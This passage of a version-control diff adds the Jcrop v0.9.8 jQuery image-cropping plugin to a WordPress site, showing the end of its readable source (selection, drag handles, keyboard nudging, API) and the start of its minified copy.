+			x1 += ox;
+			x2 += ox;
+			y1 += oy;
+			y2 += oy;
+		};
+		/*}}}*/
+		function getCorner(ord)/*{{{*/
+		{
+			var c = getFixed();
+			switch(ord)
+			{
+				case 'ne': return [ c.x2, c.y ];
+				case 'nw': return [ c.x, c.y ];
+				case 'se': return [ c.x2, c.y2 ];
+				case 'sw': return [ c.x, c.y2 ];
+			}
+		};
+		/*}}}*/
+		function getFixed()/*{{{*/
+		{
+			if (!options.aspectRatio) return getRect();
+			// This function could use some optimization I think...
+			var aspect = options.aspectRatio,
+				min_x = options.minSize[0]/xscale, 
+				min_y = options.minSize[1]/yscale,
+				max_x = options.maxSize[0]/xscale, 
+				max_y = options.maxSize[1]/yscale,
+				rw = x2 - x1,
+				rh = y2 - y1,
+				rwa = Math.abs(rw),
+				rha = Math.abs(rh),
+				real_ratio = rwa / rha,
+				xx, yy
+			;
+			if (max_x == 0) { max_x = boundx * 10 }
+			if (max_y == 0) { max_y = boundy * 10 }
+			if (real_ratio < aspect)
+			{
+				yy = y2;
+				w = rha * aspect;
+				xx = rw < 0 ? x1 - w : w + x1;
+
+				if (xx < 0)
+				{
+					xx = 0;
+					h = Math.abs((xx - x1) / aspect);
+					yy = rh < 0 ? y1 - h: h + y1;
+				}
+				else if (xx > boundx)
+				{
+					xx = boundx;
+					h = Math.abs((xx - x1) / aspect);
+					yy = rh < 0 ? y1 - h : h + y1;
+				}
+			}
+			else
+			{
+				xx = x2;
+				h = rwa / aspect;
+				yy = rh < 0 ? y1 - h : y1 + h;
+				if (yy < 0)
+				{
+					yy = 0;
+					w = Math.abs((yy - y1) * aspect);
+					xx = rw < 0 ? x1 - w : w + x1;
+				}
+				else if (yy > boundy)
+				{
+					yy = boundy;
+					w = Math.abs(yy - y1) * aspect;
+					xx = rw < 0 ? x1 - w : w + x1;
+				}
+			}
+
+			// Magic %-)
+			if(xx > x1) { // right side
+			  if(xx - x1 < min_x) {
+				xx = x1 + min_x;
+			  } else if (xx - x1 > max_x) {
+				xx = x1 + max_x;
+			  }
+			  if(yy > y1) {
+				yy = y1 + (xx - x1)/aspect;
+			  } else {
+				yy = y1 - (xx - x1)/aspect;
+			  }
+			} else if (xx < x1) { // left side
+			  if(x1 - xx < min_x) {
+				xx = x1 - min_x
+			  } else if (x1 - xx > max_x) {
+				xx = x1 - max_x;
+			  }
+			  if(yy > y1) {
+				yy = y1 + (x1 - xx)/aspect;
+			  } else {
+				yy = y1 - (x1 - xx)/aspect;
+			  }
+			}
+
+			if(xx < 0) {
+				x1 -= xx;
+				xx = 0;
+			} else  if (xx > boundx) {
+				x1 -= xx - boundx;
+				xx = boundx;
+			}
+
+			if(yy < 0) {
+				y1 -= yy;
+				yy = 0;
+			} else  if (yy > boundy) {
+				y1 -= yy - boundy;
+				yy = boundy;
+			}
+
+			return last = makeObj(flipCoords(x1,y1,xx,yy));
+		};
+		/*}}}*/
+		function rebound(p)/*{{{*/
+		{
+			if (p[0] < 0) p[0] = 0;
+			if (p[1] < 0) p[1] = 0;
+
+			if (p[0] > boundx) p[0] = boundx;
+			if (p[1] > boundy) p[1] = boundy;
+
+			return [ p[0], p[1] ];
+		};
+		/*}}}*/
+		function flipCoords(x1,y1,x2,y2)/*{{{*/
+		{
+			var xa = x1, xb = x2, ya = y1, yb = y2;
+			if (x2 < x1)
+			{
+				xa = x2;
+				xb = x1;
+			}
+			if (y2 < y1)
+			{
+				ya = y2;
+				yb = y1;
+			}
+			return [ Math.round(xa), Math.round(ya), Math.round(xb), Math.round(yb) ];
+		};
+		/*}}}*/
+		function getRect()/*{{{*/
+		{
+			var xsize = x2 - x1;
+			var ysize = y2 - y1;
+
+			if (xlimit && (Math.abs(xsize) > xlimit))
+				x2 = (xsize > 0) ? (x1 + xlimit) : (x1 - xlimit);
+			if (ylimit && (Math.abs(ysize) > ylimit))
+				y2 = (ysize > 0) ? (y1 + ylimit) : (y1 - ylimit);
+
+			if (ymin && (Math.abs(ysize) < ymin))
+				y2 = (ysize > 0) ? (y1 + ymin) : (y1 - ymin);
+			if (xmin && (Math.abs(xsize) < xmin))
+				x2 = (xsize > 0) ? (x1 + xmin) : (x1 - xmin);
+
+			if (x1 < 0) { x2 -= x1; x1 -= x1; }
+			if (y1 < 0) { y2 -= y1; y1 -= y1; }
+			if (x2 < 0) { x1 -= x2; x2 -= x2; }
+			if (y2 < 0) { y1 -= y2; y2 -= y2; }
+			if (x2 > boundx) { var delta = x2 - boundx; x1 -= delta; x2 -= delta; }
+			if (y2 > boundy) { var delta = y2 - boundy; y1 -= delta; y2 -= delta; }
+			if (x1 > boundx) { var delta = x1 - boundy; y2 -= delta; y1 -= delta; }
+			if (y1 > boundy) { var delta = y1 - boundy; y2 -= delta; y1 -= delta; }
+
+			return makeObj(flipCoords(x1,y1,x2,y2));
+		};
+		/*}}}*/
+		function makeObj(a)/*{{{*/
+		{
+			return { x: a[0], y: a[1], x2: a[2], y2: a[3],
+				w: a[2] - a[0], h: a[3] - a[1] };
+		};
+		/*}}}*/
+
+		return {
+			flipCoords: flipCoords,
+			setPressed: setPressed,
+			setCurrent: setCurrent,
+			getOffset: getOffset,
+			moveOffset: moveOffset,
+			getCorner: getCorner,
+			getFixed: getFixed
+		};
+	}();
+
+	/*}}}*/
+	var Selection = function()/*{{{*/
+	{
+		var start, end, dragmode, awake, hdep = 370;
+		var borders = { };
+		var handle = { };
+		var seehandles = false;
+		var hhs = options.handleOffset;
+
+		/* Insert draggable elements {{{*/
+
+		// Insert border divs for outline
+		if (options.drawBorders) {
+			borders = {
+					top: insertBorder('hline')
+						.css('top',$.browser.msie?px(-1):px(0)),
+					bottom: insertBorder('hline'),
+					left: insertBorder('vline'),
+					right: insertBorder('vline')
+			};
+		}
+
+		// Insert handles on edges
+		if (options.dragEdges) {
+			handle.t = insertDragbar('n');
+			handle.b = insertDragbar('s');
+			handle.r = insertDragbar('e');
+			handle.l = insertDragbar('w');
+		}
+
+		// Insert side handles
+		options.sideHandles &&
+			createHandles(['n','s','e','w']);
+
+		// Insert corner handles
+		options.cornerHandles &&
+			createHandles(['sw','nw','ne','se']);
+
+		/*}}}*/
+		// Private Methods
+		function insertBorder(type)/*{{{*/
+		{
+			var jq = $('<div />')
+				.css({position: 'absolute', opacity: options.borderOpacity })
+				.addClass(cssClass(type));
+			$img_holder.append(jq);
+			return jq;
+		};
+		/*}}}*/
+		function dragDiv(ord,zi)/*{{{*/
+		{
+			var jq = $('<div />')
+				.mousedown(createDragger(ord))
+				.css({
+					cursor: ord+'-resize',
+					position: 'absolute',
+					zIndex: zi 
+				})
+			;
+			$hdl_holder.append(jq);
+			return jq;
+		};
+		/*}}}*/
+		function insertHandle(ord)/*{{{*/
+		{
+			return dragDiv(ord,hdep++)
+				.css({ top: px(-hhs+1), left: px(-hhs+1), opacity: options.handleOpacity })
+				.addClass(cssClass('handle'));
+		};
+		/*}}}*/
+		function insertDragbar(ord)/*{{{*/
+		{
+			var s = options.handleSize,
+				o = hhs,
+				h = s, w = s,
+				t = o, l = o;
+
+			switch(ord)
+			{
+				case 'n': case 's': w = pct(100); break;
+				case 'e': case 'w': h = pct(100); break;
+			}
+
+			return dragDiv(ord,hdep++).width(w).height(h)
+				.css({ top: px(-t+1), left: px(-l+1)});
+		};
+		/*}}}*/
+		function createHandles(li)/*{{{*/
+		{
+			for(i in li) handle[li[i]] = insertHandle(li[i]);
+		};
+		/*}}}*/
+		function moveHandles(c)/*{{{*/
+		{
+			var midvert  = Math.round((c.h / 2) - hhs),
+				midhoriz = Math.round((c.w / 2) - hhs),
+				north = west = -hhs+1,
+				east = c.w - hhs,
+				south = c.h - hhs,
+				x, y;
+
+			'e' in handle &&
+				handle.e.css({ top: px(midvert), left: px(east) }) &&
+				handle.w.css({ top: px(midvert) }) &&
+				handle.s.css({ top: px(south), left: px(midhoriz) }) &&
+				handle.n.css({ left: px(midhoriz) });
+
+			'ne' in handle &&
+				handle.ne.css({ left: px(east) }) &&
+				handle.se.css({ top: px(south), left: px(east) }) &&
+				handle.sw.css({ top: px(south) });
+
+			'b' in handle &&
+				handle.b.css({ top: px(south) }) &&
+				handle.r.css({ left: px(east) });
+		};
+		/*}}}*/
+		function moveto(x,y)/*{{{*/
+		{
+			$img2.css({ top: px(-y), left: px(-x) });
+			$sel.css({ top: px(y), left: px(x) });
+		};
+		/*}}}*/
+		function resize(w,h)/*{{{*/
+		{
+			$sel.width(w).height(h);
+		};
+		/*}}}*/
+		function refresh()/*{{{*/
+		{
+			var c = Coords.getFixed();
+
+			Coords.setPressed([c.x,c.y]);
+			Coords.setCurrent([c.x2,c.y2]);
+
+			updateVisible();
+		};
+		/*}}}*/
+
+		// Internal Methods
+		function updateVisible()/*{{{*/
+			{ if (awake) return update(); };
+		/*}}}*/
+		function update()/*{{{*/
+		{
+			var c = Coords.getFixed();
+
+			resize(c.w,c.h);
+			moveto(c.x,c.y);
+
+			options.drawBorders &&
+				borders['right'].css({ left: px(c.w-1) }) &&
+					borders['bottom'].css({ top: px(c.h-1) });
+
+			seehandles && moveHandles(c);
+			awake || show();
+
+			options.onChange(unscale(c));
+		};
+		/*}}}*/
+		function show()/*{{{*/
+		{
+			$sel.show();
+			$img.css('opacity',options.bgOpacity);
+			awake = true;
+		};
+		/*}}}*/
+		function release()/*{{{*/
+		{
+			disableHandles();
+			$sel.hide();
+			$img.css('opacity',1);
+			awake = false;
+		};
+		/*}}}*/
+		function showHandles()//{{{
+		{
+			if (seehandles)
+			{
+				moveHandles(Coords.getFixed());
+				$hdl_holder.show();
+			}
+		};
+		//}}}
+		function enableHandles()/*{{{*/
+		{ 
+			seehandles = true;
+			if (options.allowResize)
+			{
+				moveHandles(Coords.getFixed());
+				$hdl_holder.show();
+				return true;
+			}
+		};
+		/*}}}*/
+		function disableHandles()/*{{{*/
+		{
+			seehandles = false;
+			$hdl_holder.hide();
+		};
+		/*}}}*/
+		function animMode(v)/*{{{*/
+		{
+			(animating = v) ? disableHandles(): enableHandles();
+		};
+		/*}}}*/
+		function done()/*{{{*/
+		{
+			animMode(false);
+			refresh();
+		};
+		/*}}}*/
+
+		var $track = newTracker().mousedown(createDragger('move'))
+				.css({ cursor: 'move', position: 'absolute', zIndex: 360 })
+
+		$img_holder.append($track);
+		disableHandles();
+
+		return {
+			updateVisible: updateVisible,
+			update: update,
+			release: release,
+			refresh: refresh,
+			setCursor: function (cursor) { $track.css('cursor',cursor); },
+			enableHandles: enableHandles,
+			enableOnly: function() { seehandles = true; },
+			showHandles: showHandles,
+			disableHandles: disableHandles,
+			animMode: animMode,
+			done: done
+		};
+	}();
+	/*}}}*/
+	var Tracker = function()/*{{{*/
+	{
+		var onMove		= function() { },
+			onDone		= function() { },
+			trackDoc	= options.trackDocument;
+
+		if (!trackDoc)
+		{
+			$trk
+				.mousemove(trackMove)
+				.mouseup(trackUp)
+				.mouseout(trackUp)
+			;
+		}
+
+		function toFront()/*{{{*/
+		{
+			$trk.css({zIndex:450});
+			if (trackDoc)
+			{
+				$(document)
+					.mousemove(trackMove)
+					.mouseup(trackUp)
+				;
+			}
+		}
+		/*}}}*/
+		function toBack()/*{{{*/
+		{
+			$trk.css({zIndex:290});
+			if (trackDoc)
+			{
+				$(document)
+					.unbind('mousemove',trackMove)
+					.unbind('mouseup',trackUp)
+				;
+			}
+		}
+		/*}}}*/
+		function trackMove(e)/*{{{*/
+		{
+			onMove(mouseAbs(e));
+		};
+		/*}}}*/
+		function trackUp(e)/*{{{*/
+		{
+			e.preventDefault();
+			e.stopPropagation();
+
+			if (btndown)
+			{
+				btndown = false;
+
+				onDone(mouseAbs(e));
+				options.onSelect(unscale(Coords.getFixed()));
+				toBack();
+				onMove = function() { };
+				onDone = function() { };
+			}
+
+			return false;
+		};
+		/*}}}*/
+
+		function activateHandlers(move,done)/* {{{ */
+		{
+			btndown = true;
+			onMove = move;
+			onDone = done;
+			toFront();
+			return false;
+		};
+		/* }}} */
+
+		function setCursor(t) { $trk.css('cursor',t); };
+
+		$img.before($trk);
+		return {
+			activateHandlers: activateHandlers,
+			setCursor: setCursor
+		};
+	}();
+	/*}}}*/
+	var KeyManager = function()/*{{{*/
+	{
+		var $keymgr = $('<input type="radio" />')
+				.css({ position: 'absolute', left: '-30px' })
+				.keypress(parseKey)
+				.blur(onBlur),
+
+			$keywrap = $('<div />')
+				.css({
+					position: 'absolute',
+					overflow: 'hidden'
+				})
+				.append($keymgr)
+		;
+
+		function watchKeys()/*{{{*/
+		{
+			if (options.keySupport)
+			{
+				$keymgr.show();
+				$keymgr.focus();
+			}
+		};
+		/*}}}*/
+		function onBlur(e)/*{{{*/
+		{
+			$keymgr.hide();
+		};
+		/*}}}*/
+		function doNudge(e,x,y)/*{{{*/
+		{
+			if (options.allowMove) {
+				Coords.moveOffset([x,y]);
+				Selection.updateVisible();
+			};
+			e.preventDefault();
+			e.stopPropagation();
+		};
+		/*}}}*/
+		function parseKey(e)/*{{{*/
+		{
+			if (e.ctrlKey) return true;
+			shift_down = e.shiftKey ? true : false;
+			var nudge = shift_down ? 10 : 1;
+			switch(e.keyCode)
+			{
+				case 37: doNudge(e,-nudge,0); break;
+				case 39: doNudge(e,nudge,0); break;
+				case 38: doNudge(e,0,-nudge); break;
+				case 40: doNudge(e,0,nudge); break;
+
+				case 27: Selection.release(); break;
+
+				case 9: return true;
+			}
+
+			return nothing(e);
+		};
+		/*}}}*/
+		
+		if (options.keySupport) $keywrap.insertBefore($img);
+		return {
+			watchKeys: watchKeys
+		};
+	}();
+	/*}}}*/
+
+	// }}}
+	// Internal Methods {{{
+
+	function px(n) { return '' + parseInt(n) + 'px'; };
+	function pct(n) { return '' + parseInt(n) + '%'; };
+	function cssClass(cl) { return options.baseClass + '-' + cl; };
+	function getPos(obj)/*{{{*/
+	{
+		// Updated in v0.9.4 to use built-in dimensions plugin
+		var pos = $(obj).offset();
+		return [ pos.left, pos.top ];
+	};
+	/*}}}*/
+	function mouseAbs(e)/*{{{*/
+	{
+		return [ (e.pageX - docOffset[0]), (e.pageY - docOffset[1]) ];
+	};
+	/*}}}*/
+	function myCursor(type)/*{{{*/
+	{
+		if (type != lastcurs)
+		{
+			Tracker.setCursor(type);
+			//Handles.xsetCursor(type);
+			lastcurs = type;
+		}
+	};
+	/*}}}*/
+	function startDragMode(mode,pos)/*{{{*/
+	{
+		docOffset = getPos($img);
+		Tracker.setCursor(mode=='move'?mode:mode+'-resize');
+
+		if (mode == 'move')
+			return Tracker.activateHandlers(createMover(pos), doneSelect);
+
+		var fc = Coords.getFixed();
+		var opp = oppLockCorner(mode);
+		var opc = Coords.getCorner(oppLockCorner(opp));
+
+		Coords.setPressed(Coords.getCorner(opp));
+		Coords.setCurrent(opc);
+
+		Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect);
+	};
+	/*}}}*/
+	function dragmodeHandler(mode,f)/*{{{*/
+	{
+		return function(pos) {
+			if (!options.aspectRatio) switch(mode)
+			{
+				case 'e': pos[1] = f.y2; break;
+				case 'w': pos[1] = f.y2; break;
+				case 'n': pos[0] = f.x2; break;
+				case 's': pos[0] = f.x2; break;
+			}
+			else switch(mode)
+			{
+				case 'e': pos[1] = f.y+1; break;
+				case 'w': pos[1] = f.y+1; break;
+				case 'n': pos[0] = f.x+1; break;
+				case 's': pos[0] = f.x+1; break;
+			}
+			Coords.setCurrent(pos);
+			Selection.update();
+		};
+	};
+	/*}}}*/
+	function createMover(pos)/*{{{*/
+	{
+		var lloc = pos;
+		KeyManager.watchKeys();
+
+		return function(pos)
+		{
+			Coords.moveOffset([pos[0] - lloc[0], pos[1] - lloc[1]]);
+			lloc = pos;
+			
+			Selection.update();
+		};
+	};
+	/*}}}*/
+	function oppLockCorner(ord)/*{{{*/
+	{
+		switch(ord)
+		{
+			case 'n': return 'sw';
+			case 's': return 'nw';
+			case 'e': return 'nw';
+			case 'w': return 'ne';
+			case 'ne': return 'sw';
+			case 'nw': return 'se';
+			case 'se': return 'nw';
+			case 'sw': return 'ne';
+		};
+	};
+	/*}}}*/
+	function createDragger(ord)/*{{{*/
+	{
+		return function(e) {
+			if (options.disabled) return false;
+			if ((ord == 'move') && !options.allowMove) return false;
+			btndown = true;
+			startDragMode(ord,mouseAbs(e));
+			e.stopPropagation();
+			e.preventDefault();
+			return false;
+		};
+	};
+	/*}}}*/
+	function presize($obj,w,h)/*{{{*/
+	{
+		var nw = $obj.width(), nh = $obj.height();
+		if ((nw > w) && w > 0)
+		{
+			nw = w;
+			nh = (w/$obj.width()) * $obj.height();
+		}
+		if ((nh > h) && h > 0)
+		{
+			nh = h;
+			nw = (h/$obj.height()) * $obj.width();
+		}
+		xscale = $obj.width() / nw;
+		yscale = $obj.height() / nh;
+		$obj.width(nw).height(nh);
+	};
+	/*}}}*/
+	function unscale(c)/*{{{*/
+	{
+		return {
+			x: parseInt(c.x * xscale), y: parseInt(c.y * yscale), 
+			x2: parseInt(c.x2 * xscale), y2: parseInt(c.y2 * yscale), 
+			w: parseInt(c.w * xscale), h: parseInt(c.h * yscale)
+		};
+	};
+	/*}}}*/
+	function doneSelect(pos)/*{{{*/
+	{
+		var c = Coords.getFixed();
+		if (c.w > options.minSelect[0] && c.h > options.minSelect[1])
+		{
+			Selection.enableHandles();
+			Selection.done();
+		}
+		else
+		{
+			Selection.release();
+		}
+		Tracker.setCursor( options.allowSelect?'crosshair':'default' );
+	};
+	/*}}}*/
+	function newSelection(e)/*{{{*/
+	{
+		if (options.disabled) return false;
+		if (!options.allowSelect) return false;
+		btndown = true;
+		docOffset = getPos($img);
+		Selection.disableHandles();
+		myCursor('crosshair');
+		var pos = mouseAbs(e);
+		Coords.setPressed(pos);
+		Tracker.activateHandlers(selectDrag,doneSelect);
+		KeyManager.watchKeys();
+		Selection.update();
+
+		e.stopPropagation();
+		e.preventDefault();
+		return false;
+	};
+	/*}}}*/
+	function selectDrag(pos)/*{{{*/
+	{
+		Coords.setCurrent(pos);
+		Selection.update();
+	};
+	/*}}}*/
+	function newTracker()
+	{
+		var trk = $('<div></div>').addClass(cssClass('tracker'));
+		$.browser.msie && trk.css({ opacity: 0, backgroundColor: 'white' });
+		return trk;
+	};
+
+	// }}}
+	// API methods {{{
+		
+	function animateTo(a)/*{{{*/
+	{
+		var x1 = a[0] / xscale,
+			y1 = a[1] / yscale,
+			x2 = a[2] / xscale,
+			y2 = a[3] / yscale;
+
+		if (animating) return;
+
+		var animto = Coords.flipCoords(x1,y1,x2,y2);
+		var c = Coords.getFixed();
+		var animat = initcr = [ c.x, c.y, c.x2, c.y2 ];
+		var interv = options.animationDelay;
+
+		var x = animat[0];
+		var y = animat[1];
+		var x2 = animat[2];
+		var y2 = animat[3];
+		var ix1 = animto[0] - initcr[0];
+		var iy1 = animto[1] - initcr[1];
+		var ix2 = animto[2] - initcr[2];
+		var iy2 = animto[3] - initcr[3];
+		var pcent = 0;
+		var velocity = options.swingSpeed;
+
+		Selection.animMode(true);
+
+		var animator = function()
+		{
+			return function()
+			{
+				pcent += (100 - pcent) / velocity;
+
+				animat[0] = x + ((pcent / 100) * ix1);
+				animat[1] = y + ((pcent / 100) * iy1);
+				animat[2] = x2 + ((pcent / 100) * ix2);
+				animat[3] = y2 + ((pcent / 100) * iy2);
+
+				if (pcent < 100) animateStart();
+					else Selection.done();
+
+				if (pcent >= 99.8) pcent = 100;
+
+				setSelectRaw(animat);
+			};
+		}();
+
+		function animateStart()
+			{ window.setTimeout(animator,interv); };
+
+		animateStart();
+	};
+	/*}}}*/
+	function setSelect(rect)//{{{
+	{
+		setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]);
+	};
+	//}}}
+	function setSelectRaw(l) /*{{{*/
+	{
+		Coords.setPressed([l[0],l[1]]);
+		Coords.setCurrent([l[2],l[3]]);
+		Selection.update();
+	};
+	/*}}}*/
+	function setOptions(opt)/*{{{*/
+	{
+		if (typeof(opt) != 'object') opt = { };
+		options = $.extend(options,opt);
+
+		if (typeof(options.onChange)!=='function')
+			options.onChange = function() { };
+
+		if (typeof(options.onSelect)!=='function')
+			options.onSelect = function() { };
+
+	};
+	/*}}}*/
+	function tellSelect()/*{{{*/
+	{
+		return unscale(Coords.getFixed());
+	};
+	/*}}}*/
+	function tellScaled()/*{{{*/
+	{
+		return Coords.getFixed();
+	};
+	/*}}}*/
+	function setOptionsNew(opt)/*{{{*/
+	{
+		setOptions(opt);
+		interfaceUpdate();
+	};
+	/*}}}*/
+	function disableCrop()//{{{
+	{
+		options.disabled = true;
+		Selection.disableHandles();
+		Selection.setCursor('default');
+		Tracker.setCursor('default');
+	};
+	//}}}
+	function enableCrop()//{{{
+	{
+		options.disabled = false;
+		interfaceUpdate();
+	};
+	//}}}
+	function cancelCrop()//{{{
+	{
+		Selection.done();
+		Tracker.activateHandlers(null,null);
+	};
+	//}}}
+	function destroy()//{{{
+	{
+		$div.remove();
+		$origimg.show();
+	};
+	//}}}
+
+	function interfaceUpdate(alt)//{{{
+	// This method tweaks the interface based on options object.
+	// Called when options are changed and at end of initialization.
+	{
+		options.allowResize ?
+			alt?Selection.enableOnly():Selection.enableHandles():
+			Selection.disableHandles();
+
+		Tracker.setCursor( options.allowSelect? 'crosshair': 'default' );
+		Selection.setCursor( options.allowMove? 'move': 'default' );
+
+		$div.css('backgroundColor',options.bgColor);
+
+		if ('setSelect' in options) {
+			setSelect(opt.setSelect);
+			Selection.done();
+			delete(options.setSelect);
+		}
+
+		if ('trueSize' in options) {
+			xscale = options.trueSize[0] / boundx;
+			yscale = options.trueSize[1] / boundy;
+		}
+
+		xlimit = options.maxSize[0] || 0;
+		ylimit = options.maxSize[1] || 0;
+		xmin = options.minSize[0] || 0;
+		ymin = options.minSize[1] || 0;
+
+		if ('outerImage' in options)
+		{
+			$img.attr('src',options.outerImage);
+			delete(options.outerImage);
+		}
+
+		Selection.refresh();
+	};
+	//}}}
+
+	// }}}
+
+	$hdl_holder.hide();
+	interfaceUpdate(true);
+	
+	var api = {
+		animateTo: animateTo,
+		setSelect: setSelect,
+		setOptions: setOptionsNew,
+		tellSelect: tellSelect,
+		tellScaled: tellScaled,
+
+		disable: disableCrop,
+		enable: enableCrop,
+		cancel: cancelCrop,
+
+		focus: KeyManager.watchKeys,
+
+		getBounds: function() { return [ boundx * xscale, boundy * yscale ]; },
+		getWidgetSize: function() { return [ boundx, boundy ]; },
+
+		release: Selection.release,
+		destroy: destroy
+
+	};
+
+	$origimg.data('Jcrop',api);
+	return api;
+};
+
+$.fn.Jcrop = function(options)/*{{{*/
+{
+	function attachWhenDone(from)/*{{{*/
+	{
+		var loadsrc = options.useImg || from.src;
+		var img = new Image();
+		img.onload = function() { $.Jcrop(from,options); };
+		img.src = loadsrc;
+	};
+	/*}}}*/
+	if (typeof(options) !== 'object') options = { };
+
+	// Iterate over each object, attach Jcrop
+	this.each(function()
+	{
+		// If we've already attached to this object
+		if ($(this).data('Jcrop'))
+		{
+			// The API can be requested this way (undocumented)
+			if (options == 'api') return $(this).data('Jcrop');
+			// Otherwise, we just reset the options...
+			else $(this).data('Jcrop').setOptions(options);
+		}
+		// If we haven't been attached, preload and attach
+		else attachWhenDone(this);
+	});
+
+	// Return "this" so we're chainable a la jQuery plugin-style!
+	return this;
+};
+/*}}}*/
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jcrop/jquery.Jcrop.js	(revision 44)
@@ -0,0 +1,163 @@
+/**
+ * Jcrop v.0.9.8 (minimized)
+ * (c) 2008 Kelly Hallman and DeepLiquid.com
+ * More information: http://deepliquid.com/content/Jcrop.html
+ * Released under MIT License - this header must remain with code
+ */
+
+
+(function($){$.Jcrop=function(obj,opt)
+{var obj=obj,opt=opt;if(typeof(obj)!=='object')obj=$(obj)[0];if(typeof(opt)!=='object')opt={};if(!('trackDocument'in opt))
+{opt.trackDocument=$.browser.msie?false:true;if($.browser.msie&&$.browser.version.split('.')[0]=='8')
+opt.trackDocument=true;}
+if(!('keySupport'in opt))
+opt.keySupport=$.browser.msie?false:true;var defaults={trackDocument:false,baseClass:'jcrop',addClass:null,bgColor:'black',bgOpacity:.6,borderOpacity:.4,handleOpacity:.5,handlePad:5,handleSize:9,handleOffset:5,edgeMargin:14,aspectRatio:0,keySupport:true,cornerHandles:true,sideHandles:true,drawBorders:true,dragEdges:true,boxWidth:0,boxHeight:0,boundary:8,animationDelay:20,swingSpeed:3,allowSelect:true,allowMove:true,allowResize:true,minSelect:[0,0],maxSize:[0,0],minSize:[0,0],onChange:function(){},onSelect:function(){}};var options=defaults;setOptions(opt);var $origimg=$(obj);var $img=$origimg.clone().removeAttr('id').css({position:'absolute'});$img.width($origimg.width());$img.height($origimg.height());$origimg.after($img).hide();presize($img,options.boxWidth,options.boxHeight);var boundx=$img.width(),boundy=$img.height(),$div=$('<div />').width(boundx).height(boundy).addClass(cssClass('holder')).css({position:'relative',backgroundColor:options.bgColor}).insertAfter($origimg).append($img);;if(options.addClass)$div.addClass(options.addClass);var $img2=$('<img />').attr('src',$img.attr('src')).css('position','absolute').width(boundx).height(boundy);var $img_holder=$('<div />').width(pct(100)).height(pct(100)).css({zIndex:310,position:'absolute',overflow:'hidden'}).append($img2);var $hdl_holder=$('<div />').width(pct(100)).height(pct(100)).css('zIndex',320);var $sel=$('<div />').css({position:'absolute',zIndex:300}).insertBefore($img).append($img_holder,$hdl_holder);var bound=options.boundary;var $trk=newTracker().width(boundx+(bound*2)).height(boundy+(bound*2)).css({position:'absolute',top:px(-bound),left:px(-bound),zIndex:290}).mousedown(newSelection);var xlimit,ylimit,xmin,ymin;var xscale,yscale,enabled=true;var docOffset=getPos($img),btndown,lastcurs,dimmed,animating,shift_down;var Coords=function()
+{var x1=0,y1=0,x2=0,y2=0,ox,oy;function setPressed(pos)
+{var pos=rebound(pos);x2=x1=pos[0];y2=y1=pos[1];};function setCurrent(pos)
+{var pos=rebound(pos);ox=pos[0]-x2;oy=pos[1]-y2;x2=pos[0];y2=pos[1];};function getOffset()
+{return[ox,oy];};function moveOffset(offset)
+{var ox=offset[0],oy=offset[1];if(0>x1+ox)ox-=ox+x1;if(0>y1+oy)oy-=oy+y1;if(boundy<y2+oy)oy+=boundy-(y2+oy);if(boundx<x2+ox)ox+=boundx-(x2+ox);x1+=ox;x2+=ox;y1+=oy;y2+=oy;};function getCorner(ord)
+{var c=getFixed();switch(ord)
+{case'ne':return[c.x2,c.y];case'nw':return[c.x,c.y];case'se':return[c.x2,c.y2];case'sw':return[c.x,c.y2];}};function getFixed()
+{if(!options.aspectRatio)return getRect();var aspect=options.aspectRatio,min_x=options.minSize[0]/xscale,min_y=options.minSize[1]/yscale,max_x=options.maxSize[0]/xscale,max_y=options.maxSize[1]/yscale,rw=x2-x1,rh=y2-y1,rwa=Math.abs(rw),rha=Math.abs(rh),real_ratio=rwa/rha,xx,yy;if(max_x==0){max_x=boundx*10}
+if(max_y==0){max_y=boundy*10}
+if(real_ratio<aspect)
+{yy=y2;w=rha*aspect;xx=rw<0?x1-w:w+x1;if(xx<0)
+{xx=0;h=Math.abs((xx-x1)/aspect);yy=rh<0?y1-h:h+y1;}
+else if(xx>boundx)
+{xx=boundx;h=Math.abs((xx-x1)/aspect);yy=rh<0?y1-h:h+y1;}}
+else
+{xx=x2;h=rwa/aspect;yy=rh<0?y1-h:y1+h;if(yy<0)
+{yy=0;w=Math.abs((yy-y1)*aspect);xx=rw<0?x1-w:w+x1;}
+else if(yy>boundy)
+{yy=boundy;w=Math.abs(yy-y1)*aspect;xx=rw<0?x1-w:w+x1;}}
+if(xx>x1){if(xx-x1<min_x){xx=x1+min_x;}else if(xx-x1>max_x){xx=x1+max_x;}
+if(yy>y1){yy=y1+(xx-x1)/aspect;}else{yy=y1-(xx-x1)/aspect;}}else if(xx<x1){if(x1-xx<min_x){xx=x1-min_x}else if(x1-xx>max_x){xx=x1-max_x;}
+if(yy>y1){yy=y1+(x1-xx)/aspect;}else{yy=y1-(x1-xx)/aspect;}}
+if(xx<0){x1-=xx;xx=0;}else if(xx>boundx){x1-=xx-boundx;xx=boundx;}
+if(yy<0){y1-=yy;yy=0;}else if(yy>boundy){y1-=yy-boundy;yy=boundy;}
+return last=makeObj(flipCoords(x1,y1,xx,yy));};function rebound(p)
+{if(p[0]<0)p[0]=0;if(p[1]<0)p[1]=0;if(p[0]>boundx)p[0]=boundx;if(p[1]>boundy)p[1]=boundy;return[p[0],p[1]];};function flipCoords(x1,y1,x2,y2)
+{var xa=x1,xb=x2,ya=y1,yb=y2;if(x2<x1)
+{xa=x2;xb=x1;}
+if(y2<y1)
+{ya=y2;yb=y1;}
+return[Math.round(xa),Math.round(ya),Math.round(xb),Math.round(yb)];};function getRect()
+{var xsize=x2-x1;var ysize=y2-y1;if(xlimit&&(Math.abs(xsize)>xlimit))
+x2=(xsize>0)?(x1+xlimit):(x1-xlimit);if(ylimit&&(Math.abs(ysize)>ylimit))
+y2=(ysize>0)?(y1+ylimit):(y1-ylimit);if(ymin&&(Math.abs(ysize)<ymin))
+y2=(ysize>0)?(y1+ymin):(y1-ymin);if(xmin&&(Math.abs(xsize)<xmin))
+x2=(xsize>0)?(x1+xmin):(x1-xmin);if(x1<0){x2-=x1;x1-=x1;}
+if(y1<0){y2-=y1;y1-=y1;}
+if(x2<0){x1-=x2;x2-=x2;}
+if(y2<0){y1-=y2;y2-=y2;}
+if(x2>boundx){var delta=x2-boundx;x1-=delta;x2-=delta;}
+if(y2>boundy){var delta=y2-boundy;y1-=delta;y2-=delta;}
